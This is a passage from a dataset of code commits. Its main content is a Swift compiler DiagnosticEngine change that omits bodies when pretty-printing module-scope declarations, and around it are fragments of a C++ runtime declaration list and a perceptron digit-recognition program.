DECLARE(currentRunner);\n    DECLARE(cycle);\n    DECLARE(debugoff);\n    DECLARE(debugon);\n    DECLARE(eval);\n    DECLARE(fresh);\n    DECLARE(jobs);\n    DECLARE(loadFile);\n    DECLARE(lobby);\n    DECLARE(nonInterruptible);\n    DECLARE(quit);\n    DECLARE(reboot);\n    DECLARE(registerAtJob);\n    DECLARE(scopeTag);\n    DECLARE(searchFile);\n    DECLARE(shiftedTime);\n    DECLARE(stats);\n    DECLARE(shutdown);\n    DECLARE(sleep);\n    DECLARE(spawn);\n    DECLARE(stopall);\n    DECLARE(platform);\n    DECLARE(time);\n#undef DECLARE\n  }\n\n}; \/\/ namespace object\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Revert \"fix for fdo#47907\"<commit_after><|endoftext|>"}
{"text":"<commit_before>\/\/===- DiagnosticEngine.h - Diagnostic Display Engine -----------*- C++ -*-===\/\/\n\/\/\n\/\/ This source file is part of the Swift.org open source project\n\/\/\n\/\/ Copyright (c) 2014 - 2015 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See http:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See http:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/  This file defines the DiagnosticEngine class, which manages any diagnostics\n\/\/  emitted by Swift.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"swift\/AST\/Decl.h\"\n#include \"swift\/AST\/DiagnosticEngine.h\"\n#include \"swift\/AST\/Module.h\"\n#include \"swift\/AST\/Pattern.h\"\n#include \"swift\/AST\/PrintOptions.h\"\n#include \"swift\/AST\/TypeRepr.h\"\n#include \"swift\/Basic\/SourceManager.h\"\n#include \"llvm\/Support\/MemoryBuffer.h\"\n#include \"llvm\/ADT\/SmallString.h\"\n#include \"llvm\/ADT\/Twine.h\"\n#include \"llvm\/Support\/raw_ostream.h\"\nusing namespace swift;\n\nstruct StoredDiagnosticInfo {\n  \/\/\/ \\brief The kind of diagnostic we're dealing with.\n  DiagnosticKind Kind;\n  \n  \/\/ FIXME: Category\n  \n  \/\/\/ \\brief Text associated with the diagnostic\n  const char *Text;\n};\n\nstatic StoredDiagnosticInfo StoredDiagnosticInfos[] = {\n#define ERROR(ID,Category,Options,Text,Signature) \\\n  { DiagnosticKind::Error, Text },\n#define WARNING(ID,Category,Options,Text,Signature) \\\n  { DiagnosticKind::Warning, Text },\n#define NOTE(ID,Category,Options,Text,Signature) \\\n  { DiagnosticKind::Note, Text },\n#include \"swift\/AST\/Diagnostics.def\"\n  { DiagnosticKind::Error, \"<not a diagnostic>\" }\n};\n\nvoid InFlightDiagnostic::flush() {\n  if (!IsActive)\n    return;\n  \n  IsActive = false;\n  if (Engine)\n    Engine->flushActiveDiagnostic();\n}\n\n\n\n\/\/\/ \\brief Skip forward to one of the given delimiters.\n\/\/\/\n\/\/\/ \\param Text The text to search through, which will be updated to point\n\/\/\/ just after the delimiter.\n\/\/\/\n\/\/\/ \\param Delim1 The first character delimiter to search for.\n\/\/\/\n\/\/\/ \\param Delim2 The second character delimiter to search for.\n\/\/\/\n\/\/\/ \\returns The string leading up to the delimiter, or the empty string\n\/\/\/ if no delimiter is found.\nstatic StringRef \nskipToDelimiter(StringRef &Text, char Delim1, char Delim2 = 0) {\n  unsigned Depth = 0;\n\n  unsigned I = 0;\n  for (unsigned N = Text.size(); I != N; ++I) {\n    if (Depth == 0 && Text[I] == '{') {\n      ++Depth;\n      continue;\n    }\n    if (Depth > 0 && Text[I] == '}') {\n      --Depth;\n      continue;\n    }\n    \n    if (Text[I] == Delim1 || Text[I] == Delim2)\n      break;\n  }\n\n  assert(Depth == 0 && \"Unbalanced {} set in diagnostic text\");\n  StringRef Result = Text.substr(0, I);\n  Text = Text.substr(I + 1);\n  return Result;\n}\n\nstatic void formatDiagnosticText(StringRef InText, \n                                 ArrayRef<DiagnosticArgument> Args,\n                                 llvm::raw_ostream &Out);\n\n\/\/\/ \\brief Format a selection argument and write it to the given stream.\nstatic void formatSelectionArgument(StringRef ModifierArguments,\n                                    ArrayRef<DiagnosticArgument> Args,\n                                    unsigned SelectedIndex,\n                                    llvm::raw_ostream &Out) {\n  do {\n    StringRef Text = skipToDelimiter(ModifierArguments, '|');\n    if (SelectedIndex == 0) {\n      formatDiagnosticText(Text, Args, Out);\n      break;\n    }\n    --SelectedIndex;\n  } while (true);\n  \n}\n\n\/\/\/ \\brief Format a single diagnostic argument and write it to the given\n\/\/\/ stream.\nstatic void formatDiagnosticArgument(StringRef Modifier, \n                                     StringRef ModifierArguments,\n                                     ArrayRef<DiagnosticArgument> Args,\n                                     unsigned ArgIndex,\n                                     llvm::raw_ostream &Out) {\n  const DiagnosticArgument &Arg = Args[ArgIndex];\n  switch (Arg.getKind()) {\n  case DiagnosticArgumentKind::Integer:\n    if (Modifier == \"select\") {\n      assert(Arg.getAsInteger() >= 0 && \"Negative selection index\");\n      formatSelectionArgument(ModifierArguments, Args, Arg.getAsInteger(), \n                              Out);\n    } else {\n      assert(Modifier.empty() && \"Improper modifier for integer argument\");\n      Out << Arg.getAsInteger();\n    }\n    break;\n\n  case DiagnosticArgumentKind::Unsigned:\n    if (Modifier == \"select\") {\n      formatSelectionArgument(ModifierArguments, Args, Arg.getAsUnsigned(), \n                              Out);\n    } else {\n      assert(Modifier.empty() && \"Improper modifier for unsigned argument\");\n      Out << Arg.getAsUnsigned();\n    }\n    break;\n\n  case DiagnosticArgumentKind::String:\n    assert(Modifier.empty() && \"Improper modifier for string argument\");\n    Out << Arg.getAsString();\n    break;\n\n  case DiagnosticArgumentKind::Identifier:\n    assert(Modifier.empty() && \"Improper modifier for identifier argument\");\n    Out << '\\'' << Arg.getAsIdentifier() << '\\'';\n    break;\n  case DiagnosticArgumentKind::Type:\n    assert(Modifier.empty() && \"Improper modifier for Type argument\");\n    Out << '\\'' << Arg.getAsType() << '\\'';\n    break;\n  case DiagnosticArgumentKind::TypeRepr:\n    assert(Modifier.empty() && \"Improper modifier for TypeRepr argument\");\n    Out << '\\'' << Arg.getAsTypeRepr() << '\\'';\n    break;\n  case DiagnosticArgumentKind::PatternKind:\n    assert(Modifier.empty() && \"Improper modifier for PatternKind argument\");\n    Out << Arg.getAsPatternKind();\n  }\n}\n\n\/\/\/ \\brief Format the given diagnostic text and place the result in the given\n\/\/\/ buffer.\nstatic void formatDiagnosticText(StringRef InText, \n                                 ArrayRef<DiagnosticArgument> Args,\n                                 llvm::raw_ostream &Out) {\n  while (!InText.empty()) {\n    size_t Percent = InText.find('%');\n    if (Percent == StringRef::npos) {\n      \/\/ Write the rest of the string; we're done.\n      Out.write(InText.data(), InText.size());\n      break;\n    }\n    \n    \/\/ Write the string up to (but not including) the %, then drop that text\n    \/\/ (including the %).\n    Out.write(InText.data(), Percent);\n    InText = InText.substr(Percent + 1);\n    \n    \/\/ '%%' -> '%'.\n    if (InText[0] == '%') {\n      Out.write('%');\n      InText = InText.substr(1);\n      continue;\n    }\n\n    \/\/ Parse an optional modifier.\n    StringRef Modifier;\n    {\n      unsigned Length = 0;\n      while (isalpha(InText[Length]))\n        ++Length;\n      Modifier = InText.substr(0, Length);\n      InText = InText.substr(Length);\n    }\n    \n    \/\/ Parse the optional argument list for a modifier, which is brace-enclosed.\n    StringRef ModifierArguments;\n    if (InText[0] == '{') {\n      InText = InText.substr(1);\n      ModifierArguments = skipToDelimiter(InText, '}');\n    }\n    \n    \/\/ Find the digit sequence.\n    unsigned Length = 0;\n    for (size_t N = InText.size(); Length != N; ++Length) {\n      if (!isdigit(InText[Length]))\n        break;\n    }\n      \n    \/\/ Parse the digit sequence into an argument index.\n    unsigned ArgIndex;      \n    bool Result = InText.substr(0, Length).getAsInteger(10, ArgIndex);\n    assert(!Result && \"Unparseable argument index value?\");\n    (void)Result;\n    assert(ArgIndex < Args.size() && \"Out-of-range argument index\");\n    InText = InText.substr(Length);\n    \n    \/\/ Convert the argument to a string.\n    formatDiagnosticArgument(Modifier, ModifierArguments, Args, ArgIndex, Out);\n  }\n}\n                             \nvoid DiagnosticEngine::flushActiveDiagnostic() {\n  assert(ActiveDiagnostic && \"No active diagnostic to flush\");\n  const StoredDiagnosticInfo &StoredInfo\n    = StoredDiagnosticInfos[(unsigned)ActiveDiagnostic->getID()];\n\n  \/\/ Check whether this is an error.\n  switch (StoredInfo.Kind) {\n  case DiagnosticKind::Error:\n    HadAnyError = true;\n    break;\n    \n  case DiagnosticKind::Note:\n  case DiagnosticKind::Warning:\n    break;\n  }\n\n  \/\/ Figure out the source location.\n  SourceLoc loc = ActiveDiagnosticLoc;\n  if (loc.isInvalid() && ActiveDiagnosticDecl) {\n    \/\/ If a declaration was provided instead of a location, and that declaration\n    \/\/ has a location we can point to, use that location.\n    if (!ActiveDiagnosticDecl->hasClangNode() &&\n        ActiveDiagnosticDecl->getLoc().isValid()) {\n      loc = ActiveDiagnosticDecl->getLoc();\n    } else {\n      \/\/ There is no location we can point to. Pretty-print the declaration\n      \/\/ so we can point to it.\n      SourceLoc ppLoc = PrettyPrintedDeclarations[ActiveDiagnosticDecl];\n      if (ppLoc.isInvalid()) {\n        SmallVector<std::pair<Decl *, uint64_t>, 8> entries;\n        llvm::SmallString<128> buffer;\n        llvm::SmallString<128> bufferName;\n        {\n          \/\/ Figure out which declaration to print. It's the top-most\n          \/\/ declaration (not a module).\n          Decl *ppDecl = ActiveDiagnosticDecl;\n          auto dc = ActiveDiagnosticDecl->getDeclContext();\n          while (!dc->isModuleContext()) {\n            switch (dc->getContextKind()) {\n            case DeclContextKind::BuiltinModule:\n            case DeclContextKind::ClangModule:\n            case DeclContextKind::SerializedModule:\n            case DeclContextKind::TranslationUnit:\n            case DeclContextKind::TopLevelCodeDecl:\n              llvm_unreachable(\"Not in a module context!\");\n              break;\n\n            case DeclContextKind::ExtensionDecl:\n              ppDecl = cast<ExtensionDecl>(dc);\n              break;\n\n            case DeclContextKind::NominalTypeDecl:\n              ppDecl = cast<NominalTypeDecl>(dc);\n              break;\n\n            case DeclContextKind::CapturingExpr:\n            case DeclContextKind::ConstructorDecl:\n            case DeclContextKind::DestructorDecl:\n              break;\n            }\n\n            dc = dc->getParent();\n          }\n\n          \/\/ Build the module name path (in reverse), which we use to\n          \/\/ build the name of the buffer.\n          SmallVector<StringRef, 4> nameComponents;\n          while (dc) {\n            nameComponents.push_back(cast<Module>(dc)->Name.str());\n            dc = dc->getParent();\n          }\n\n          for (unsigned i = nameComponents.size(); i; --i) {\n            bufferName += nameComponents[i-1];\n            bufferName += '.';\n          }\n\n          if (auto value = dyn_cast<ValueDecl>(ppDecl)) {\n            bufferName += value->getName().str();\n          } else if (auto ext = dyn_cast<ExtensionDecl>(ppDecl)) {\n            bufferName += ext->getExtendedType().getString();\n          }\n\n          \/\/ Pretty-print the declaration we've picked.\n          llvm::raw_svector_ostream out(buffer);\n          ppDecl->print(out, PrintOptions::printEverything(), &entries);\n        }\n\n        \/\/ Build a buffer with the pretty-printed declaration.\n        auto memBuffer = llvm::MemoryBuffer::getMemBufferCopy(buffer,\n                                                              bufferName);\n        SourceMgr->AddNewSourceBuffer(memBuffer, llvm::SMLoc());\n\n        \/\/ Go through all of the pretty-printed entries and record their\n        \/\/ locations.\n        for (auto entry : entries) {\n          PrettyPrintedDeclarations[entry.first]\n            = SourceLoc(llvm::SMLoc::getFromPointer(memBuffer->getBufferStart()\n                                                    + entry.second));\n        }\n\n        \/\/ Grab the pretty-printed location.\n        ppLoc = PrettyPrintedDeclarations[ActiveDiagnosticDecl];\n      }\n\n      loc = ppLoc;\n    }\n  }\n\n  \/\/ Actually substitute the diagnostic arguments into the diagnostic text.\n  llvm::SmallString<256> Text;\n  {\n    llvm::raw_svector_ostream Out(Text);\n    formatDiagnosticText(StoredInfo.Text, ActiveDiagnostic->getArgs(), Out);\n  }\n\n  \/\/ Pass the diagnostic off to the consumer.\n  DiagnosticInfo Info;\n  Info.Ranges = ActiveDiagnostic->getRanges();\n  Info.FixIts = ActiveDiagnostic->getFixIts();\n  for (auto &Consumer : Consumers)\n    Consumer->handleDiagnostic(SourceMgr, loc, StoredInfo.Kind, Text, Info);\n  \n  \/\/ Reset the active diagnostic.\n  ActiveDiagnostic.reset();\n}\n<commit_msg>Omit bodies from module-scope decls in pretty-printed synthetic sources.<commit_after>\/\/===- DiagnosticEngine.h - Diagnostic Display Engine -----------*- C++ -*-===\/\/\n\/\/\n\/\/ This source file is part of the Swift.org open source project\n\/\/\n\/\/ Copyright (c) 2014 - 2015 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See http:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See http:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/  This file defines the DiagnosticEngine class, which manages any diagnostics\n\/\/  emitted by Swift.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"swift\/AST\/Decl.h\"\n#include \"swift\/AST\/DiagnosticEngine.h\"\n#include \"swift\/AST\/Module.h\"\n#include \"swift\/AST\/Pattern.h\"\n#include \"swift\/AST\/PrintOptions.h\"\n#include \"swift\/AST\/TypeRepr.h\"\n#include \"swift\/Basic\/SourceManager.h\"\n#include \"llvm\/Support\/MemoryBuffer.h\"\n#include \"llvm\/ADT\/SmallString.h\"\n#include \"llvm\/ADT\/Twine.h\"\n#include \"llvm\/Support\/raw_ostream.h\"\nusing namespace swift;\n\nstruct StoredDiagnosticInfo {\n  \/\/\/ \\brief The kind of diagnostic we're dealing with.\n  DiagnosticKind Kind;\n  \n  \/\/ FIXME: Category\n  \n  \/\/\/ \\brief Text associated with the diagnostic\n  const char *Text;\n};\n\nstatic StoredDiagnosticInfo StoredDiagnosticInfos[] = {\n#define ERROR(ID,Category,Options,Text,Signature) \\\n  { DiagnosticKind::Error, Text },\n#define WARNING(ID,Category,Options,Text,Signature) \\\n  { DiagnosticKind::Warning, Text },\n#define NOTE(ID,Category,Options,Text,Signature) \\\n  { DiagnosticKind::Note, Text },\n#include \"swift\/AST\/Diagnostics.def\"\n  { DiagnosticKind::Error, \"<not a diagnostic>\" }\n};\n\nvoid InFlightDiagnostic::flush() {\n  if (!IsActive)\n    return;\n  \n  IsActive = false;\n  if (Engine)\n    Engine->flushActiveDiagnostic();\n}\n\n\n\n\/\/\/ \\brief Skip forward to one of the given delimiters.\n\/\/\/\n\/\/\/ \\param Text The text to search through, which will be updated to point\n\/\/\/ just after the delimiter.\n\/\/\/\n\/\/\/ \\param Delim1 The first character delimiter to search for.\n\/\/\/\n\/\/\/ \\param Delim2 The second character delimiter to search for.\n\/\/\/\n\/\/\/ \\returns The string leading up to the delimiter, or the empty string\n\/\/\/ if no delimiter is found.\nstatic StringRef \nskipToDelimiter(StringRef &Text, char Delim1, char Delim2 = 0) {\n  unsigned Depth = 0;\n\n  unsigned I = 0;\n  for (unsigned N = Text.size(); I != N; ++I) {\n    if (Depth == 0 && Text[I] == '{') {\n      ++Depth;\n      continue;\n    }\n    if (Depth > 0 && Text[I] == '}') {\n      --Depth;\n      continue;\n    }\n    \n    if (Text[I] == Delim1 || Text[I] == Delim2)\n      break;\n  }\n\n  assert(Depth == 0 && \"Unbalanced {} set in diagnostic text\");\n  StringRef Result = Text.substr(0, I);\n  Text = Text.substr(I + 1);\n  return Result;\n}\n\nstatic void formatDiagnosticText(StringRef InText, \n                                 ArrayRef<DiagnosticArgument> Args,\n                                 llvm::raw_ostream &Out);\n\n\/\/\/ \\brief Format a selection argument and write it to the given stream.\nstatic void formatSelectionArgument(StringRef ModifierArguments,\n                                    ArrayRef<DiagnosticArgument> Args,\n                                    unsigned SelectedIndex,\n                                    llvm::raw_ostream &Out) {\n  do {\n    StringRef Text = skipToDelimiter(ModifierArguments, '|');\n    if (SelectedIndex == 0) {\n      formatDiagnosticText(Text, Args, Out);\n      break;\n    }\n    --SelectedIndex;\n  } while (true);\n  \n}\n\n\/\/\/ \\brief Format a single diagnostic argument and write it to the given\n\/\/\/ stream.\nstatic void formatDiagnosticArgument(StringRef Modifier, \n                                     StringRef ModifierArguments,\n                                     ArrayRef<DiagnosticArgument> Args,\n                                     unsigned ArgIndex,\n                                     llvm::raw_ostream &Out) {\n  const DiagnosticArgument &Arg = Args[ArgIndex];\n  switch (Arg.getKind()) {\n  case DiagnosticArgumentKind::Integer:\n    if (Modifier == \"select\") {\n      assert(Arg.getAsInteger() >= 0 && \"Negative selection index\");\n      formatSelectionArgument(ModifierArguments, Args, Arg.getAsInteger(), \n                              Out);\n    } else {\n      assert(Modifier.empty() && \"Improper modifier for integer argument\");\n      Out << Arg.getAsInteger();\n    }\n    break;\n\n  case DiagnosticArgumentKind::Unsigned:\n    if (Modifier == \"select\") {\n      formatSelectionArgument(ModifierArguments, Args, Arg.getAsUnsigned(), \n                              Out);\n    } else {\n      assert(Modifier.empty() && \"Improper modifier for unsigned argument\");\n      Out << Arg.getAsUnsigned();\n    }\n    break;\n\n  case DiagnosticArgumentKind::String:\n    assert(Modifier.empty() && \"Improper modifier for string argument\");\n    Out << Arg.getAsString();\n    break;\n\n  case DiagnosticArgumentKind::Identifier:\n    assert(Modifier.empty() && \"Improper modifier for identifier argument\");\n    Out << '\\'' << Arg.getAsIdentifier() << '\\'';\n    break;\n  case DiagnosticArgumentKind::Type:\n    assert(Modifier.empty() && \"Improper modifier for Type argument\");\n    Out << '\\'' << Arg.getAsType() << '\\'';\n    break;\n  case DiagnosticArgumentKind::TypeRepr:\n    assert(Modifier.empty() && \"Improper modifier for TypeRepr argument\");\n    Out << '\\'' << Arg.getAsTypeRepr() << '\\'';\n    break;\n  case DiagnosticArgumentKind::PatternKind:\n    assert(Modifier.empty() && \"Improper modifier for PatternKind argument\");\n    Out << Arg.getAsPatternKind();\n  }\n}\n\n\/\/\/ \\brief Format the given diagnostic text and place the result in the given\n\/\/\/ buffer.\nstatic void formatDiagnosticText(StringRef InText, \n                                 ArrayRef<DiagnosticArgument> Args,\n                                 llvm::raw_ostream &Out) {\n  while (!InText.empty()) {\n    size_t Percent = InText.find('%');\n    if (Percent == StringRef::npos) {\n      \/\/ Write the rest of the string; we're done.\n      Out.write(InText.data(), InText.size());\n      break;\n    }\n    \n    \/\/ Write the string up to (but not including) the %, then drop that text\n    \/\/ (including the %).\n    Out.write(InText.data(), Percent);\n    InText = InText.substr(Percent + 1);\n    \n    \/\/ '%%' -> '%'.\n    if (InText[0] == '%') {\n      Out.write('%');\n      InText = InText.substr(1);\n      continue;\n    }\n\n    \/\/ Parse an optional modifier.\n    StringRef Modifier;\n    {\n      unsigned Length = 0;\n      while (isalpha(InText[Length]))\n        ++Length;\n      Modifier = InText.substr(0, Length);\n      InText = InText.substr(Length);\n    }\n    \n    \/\/ Parse the optional argument list for a modifier, which is brace-enclosed.\n    StringRef ModifierArguments;\n    if (InText[0] == '{') {\n      InText = InText.substr(1);\n      ModifierArguments = skipToDelimiter(InText, '}');\n    }\n    \n    \/\/ Find the digit sequence.\n    unsigned Length = 0;\n    for (size_t N = InText.size(); Length != N; ++Length) {\n      if (!isdigit(InText[Length]))\n        break;\n    }\n      \n    \/\/ Parse the digit sequence into an argument index.\n    unsigned ArgIndex;      \n    bool Result = InText.substr(0, Length).getAsInteger(10, ArgIndex);\n    assert(!Result && \"Unparseable argument index value?\");\n    (void)Result;\n    assert(ArgIndex < Args.size() && \"Out-of-range argument index\");\n    InText = InText.substr(Length);\n    \n    \/\/ Convert the argument to a string.\n    formatDiagnosticArgument(Modifier, ModifierArguments, Args, ArgIndex, Out);\n  }\n}\n                             \nvoid DiagnosticEngine::flushActiveDiagnostic() {\n  assert(ActiveDiagnostic && \"No active diagnostic to flush\");\n  const StoredDiagnosticInfo &StoredInfo\n    = StoredDiagnosticInfos[(unsigned)ActiveDiagnostic->getID()];\n\n  \/\/ Check whether this is an error.\n  switch (StoredInfo.Kind) {\n  case DiagnosticKind::Error:\n    HadAnyError = true;\n    break;\n    \n  case DiagnosticKind::Note:\n  case DiagnosticKind::Warning:\n    break;\n  }\n\n  \/\/ Figure out the source location.\n  SourceLoc loc = ActiveDiagnosticLoc;\n  if (loc.isInvalid() && ActiveDiagnosticDecl) {\n    \/\/ If a declaration was provided instead of a location, and that declaration\n    \/\/ has a location we can point to, use that location.\n    if (!ActiveDiagnosticDecl->hasClangNode() &&\n        ActiveDiagnosticDecl->getLoc().isValid()) {\n      loc = ActiveDiagnosticDecl->getLoc();\n    } else {\n      \/\/ There is no location we can point to. Pretty-print the declaration\n      \/\/ so we can point to it.\n      SourceLoc ppLoc = PrettyPrintedDeclarations[ActiveDiagnosticDecl];\n      if (ppLoc.isInvalid()) {\n        SmallVector<std::pair<Decl *, uint64_t>, 8> entries;\n        llvm::SmallString<128> buffer;\n        llvm::SmallString<128> bufferName;\n        {\n          \/\/ Figure out which declaration to print. It's the top-most\n          \/\/ declaration (not a module).\n          Decl *ppDecl = ActiveDiagnosticDecl;\n          auto dc = ActiveDiagnosticDecl->getDeclContext();\n          while (!dc->isModuleContext()) {\n            switch (dc->getContextKind()) {\n            case DeclContextKind::BuiltinModule:\n            case DeclContextKind::ClangModule:\n            case DeclContextKind::SerializedModule:\n            case DeclContextKind::TranslationUnit:\n            case DeclContextKind::TopLevelCodeDecl:\n              llvm_unreachable(\"Not in a module context!\");\n              break;\n\n            case DeclContextKind::ExtensionDecl:\n              ppDecl = cast<ExtensionDecl>(dc);\n              break;\n\n            case DeclContextKind::NominalTypeDecl:\n              ppDecl = cast<NominalTypeDecl>(dc);\n              break;\n\n            case DeclContextKind::CapturingExpr:\n            case DeclContextKind::ConstructorDecl:\n            case DeclContextKind::DestructorDecl:\n              break;\n            }\n\n            dc = dc->getParent();\n          }\n\n          \/\/ Build the module name path (in reverse), which we use to\n          \/\/ build the name of the buffer.\n          SmallVector<StringRef, 4> nameComponents;\n          while (dc) {\n            nameComponents.push_back(cast<Module>(dc)->Name.str());\n            dc = dc->getParent();\n          }\n\n          for (unsigned i = nameComponents.size(); i; --i) {\n            bufferName += nameComponents[i-1];\n            bufferName += '.';\n          }\n\n          if (auto value = dyn_cast<ValueDecl>(ppDecl)) {\n            bufferName += value->getName().str();\n          } else if (auto ext = dyn_cast<ExtensionDecl>(ppDecl)) {\n            bufferName += ext->getExtendedType().getString();\n          }\n\n          \/\/ Don't print bodies if we're looking at a top-level decl.\n          PrintOptions options;\n          if (ActiveDiagnosticDecl->getDeclContext()->isModuleContext())\n            options = PrintOptions();\n          else\n            options = PrintOptions::printEverything();\n\n          \/\/ Pretty-print the declaration we've picked.\n          llvm::raw_svector_ostream out(buffer);\n          ppDecl->print(out, options, &entries);\n        }\n\n        \/\/ Build a buffer with the pretty-printed declaration.\n        auto memBuffer = llvm::MemoryBuffer::getMemBufferCopy(buffer,\n                                                              bufferName);\n        SourceMgr->AddNewSourceBuffer(memBuffer, llvm::SMLoc());\n\n        \/\/ Go through all of the pretty-printed entries and record their\n        \/\/ locations.\n        for (auto entry : entries) {\n          PrettyPrintedDeclarations[entry.first]\n            = SourceLoc(llvm::SMLoc::getFromPointer(memBuffer->getBufferStart()\n                                                    + entry.second));\n        }\n\n        \/\/ Grab the pretty-printed location.\n        ppLoc = PrettyPrintedDeclarations[ActiveDiagnosticDecl];\n      }\n\n      loc = ppLoc;\n    }\n  }\n\n  \/\/ Actually substitute the diagnostic arguments into the diagnostic text.\n  llvm::SmallString<256> Text;\n  {\n    llvm::raw_svector_ostream Out(Text);\n    formatDiagnosticText(StoredInfo.Text, ActiveDiagnostic->getArgs(), Out);\n  }\n\n  \/\/ Pass the diagnostic off to the consumer.\n  DiagnosticInfo Info;\n  Info.Ranges = ActiveDiagnostic->getRanges();\n  Info.FixIts = ActiveDiagnostic->getFixIts();\n  for (auto &Consumer : Consumers)\n    Consumer->handleDiagnostic(SourceMgr, loc, StoredInfo.Kind, Text, Info);\n  \n  \/\/ Reset the active diagnostic.\n  ActiveDiagnostic.reset();\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <NeuralNetwork\/LearningAlgorithm\/BackPropagation\/BepAlgorithm.h>\n#include <NeuralNetwork\/NeuralLayer\/ConvolutionLayer.h>\n#include <NeuralNetwork\/NeuralLayer\/NeuralLayer.h>\n#include <NeuralNetwork\/Neuron\/ActivationFunction\/BiopolarSigmoidFunction.h>\n#include <NeuralNetwork\/Neuron\/ActivationFunction\/LogScaleSoftmaxFunction.h>\n#include <NeuralNetwork\/Neuron\/ActivationFunction\/SigmoidFunction.h>\n#include <NeuralNetwork\/Neuron\/ActivationFunction\/SoftmaxFunction.h>\n#include <NeuralNetwork\/Neuron\/ActivationFunction\/TanhFunction.h>\n#include <NeuralNetwork\/Neuron\/Neuron.h>\n#include <NeuralNetwork\/Perceptron\/Perceptron.h>\n\/\/#include <NeuralNetwork\/NeuralLayer\/OpenCLNeuralLayer.h>\n#include <NeuralNetwork\/Config.h>\n\n#include <Utilities\/MPL\/Tuple.h>\n\n#ifndef BOOST_SYSTEM_NO_DEPRECATED\n#define BOOST_SYSTEM_NO_DEPRECATED 1\n#include <boost\/filesystem.hpp>\n#undef BOOST_SYSTEM_NO_DEPRECATED\n#endif\n\n#define png_infopp_NULL (png_infopp) NULL\n#define int_p_NULL (int*)NULL\n\n#if defined(NN_CC_MSVC)\n#pragma warning(push)\n\/\/ This function or variable may be unsafe\n#pragma warning(disable : 4996)\n#endif\n\n#include <boost\/gil\/channel_algorithm.hpp>\n#include <boost\/gil\/channel.hpp>\n#include <boost\/gil\/extension\/dynamic_image\/any_image.hpp>\n#include <boost\/gil\/extension\/dynamic_image\/dynamic_image_all.hpp>\n#include <boost\/gil\/extension\/io\/dynamic_io.hpp>\n#include <boost\/gil\/extension\/io\/png_dynamic_io.hpp>\n#include <boost\/gil\/gil_all.hpp>\n#include <boost\/gil\/image.hpp>\n\n#include \"gil\/extension\/numeric\/sampler.hpp\"\n#include \"gil\/extension\/numeric\/resample.hpp\"\n\n#include <cereal\/archives\/xml.hpp>\n#include <cereal\/types\/array.hpp>\n#include <cereal\/types\/tuple.hpp>\n#include <cereal\/types\/vector.hpp>\n\n#if defined(NN_CC_MSVC)\n#pragma warning(pop)\n#endif\n\n#include \"Var.h\"\n\n#include <tuple>\n#include <cmath>\n#include <fstream>\n#include <iomanip>\n#include <iostream>\n#include <set>\n\ntypedef long double VarType;\n\nnamespace {\n    using namespace boost::gil;\n    using namespace boost::gil::detail;\n    const std::string alphabet(\"0123456789\");\n    constexpr std::size_t width = 49;\n    constexpr std::size_t height = 67;\n    constexpr std::size_t inputsNumber = width * height;\n    constexpr std::size_t margin = 15;\n    constexpr std::size_t stride = 10;\n} \/\/ namespace\n\n\nusing ConvolutionGrid =\n typename nn::ConvolutionGrid< width, height, stride, margin >::define;\n\nusing Perceptron =\n nn::Perceptron< VarType,\n                 nn::ConvolutionLayer< nn::NeuralLayer, nn::Neuron, nn::SigmoidFunction, inputsNumber, ConvolutionGrid >,\n                 nn::NeuralLayer< nn::Neuron, nn::SoftmaxFunction, 10, 1000 > >;\n\nusing Algo = nn::bp::BepAlgorithm< Perceptron, nn::bp::CrossEntropyError >;\n\ntemplate< typename Out >\nstruct halfdiff_cast_channels {\n    template< typename T >\n    Out operator()(const T& in1, const T& in2) const {\n        return Out((in1 - in2) \/ 2);\n    }\n};\n\ntemplate< typename SrcView, typename DstView >\nvoid convert_color(const SrcView& src, const DstView& dst) {\n    typedef typename channel_type< DstView >::type d_channel_t;\n    typedef typename channel_convert_to_unsigned< d_channel_t >::type channel_t;\n    typedef pixel< channel_t, gray_layout_t > gray_pixel_t;\n\n    copy_pixels(color_converted_view< gray_pixel_t >(src), dst);\n}\n\ntemplate< typename Iterator >\nvoid readImage(std::string fileName, Iterator out) {\n    using namespace boost::gil;\n    using namespace nn;\n    using namespace nn::bp;\n\n    rgb8_image_t srcImg;\n    png_read_image(fileName.c_str(), srcImg);\n\n    gray8_image_t dstImg(srcImg.dimensions());\n    gray8_pixel_t white(255);\n    fill_pixels(view(dstImg), white);\n\n    gray8_image_t grayImage(srcImg.dimensions());\n    convert_color(view(srcImg), view(grayImage));\n    auto grayView = view(grayImage);\n\n    gray8_image_t scaledImage(width, height);\n    resize_view(grayView, view(scaledImage), bilinear_sampler());\n    auto srcView = view(scaledImage);\n\n    for(int y = 0; y < srcView.height(); ++y) {\n        gray8c_view_t::x_iterator src_it(srcView.row_begin(y));\n        for(int x = 0; x < srcView.width(); ++x) {\n            *out = src_it[x] < 130 ? 1.f : -1.f; \/\/ 255.f;\n            out++;\n        }\n    }\n}\n\nPerceptron readPerceptron(std::string fileName) {\n    Perceptron perceptron;\n    if(boost::filesystem::exists(fileName.c_str())) {\n        std::ifstream file(fileName);\n        if(file.good()) {\n            Perceptron::Memento memento;\n            cereal::XMLInputArchive ia(file);\n            ia >> memento;\n\n            perceptron.setMemento(memento);\n        } else {\n            throw std::logic_error(\"Invalid perceptron file name\");\n        }\n    }\n\n    return perceptron;\n}\n\nvoid recognize(std::string perceptron, std::string image) {\n    try {\n        std::array< VarType, inputsNumber > inputs = {0};\n        readImage(image, inputs.begin());\n        std::vector< VarType > result(alphabet.length(), VarType(0.f));\n        readPerceptron(perceptron)\n         .calculate(inputs.begin(), inputs.end(), result.begin());\n        for(unsigned int i = 0; i < result.size(); i++) {\n            std::cout << \"Symbol: \" << alphabet[i] << \" \" << result[i] << std::endl;\n        }\n    } catch(const std::exception& e) {\n        std::cout << e.what() << std::endl;\n    } catch(...) {\n        std::cout << \"Unknown error\" << std::endl;\n    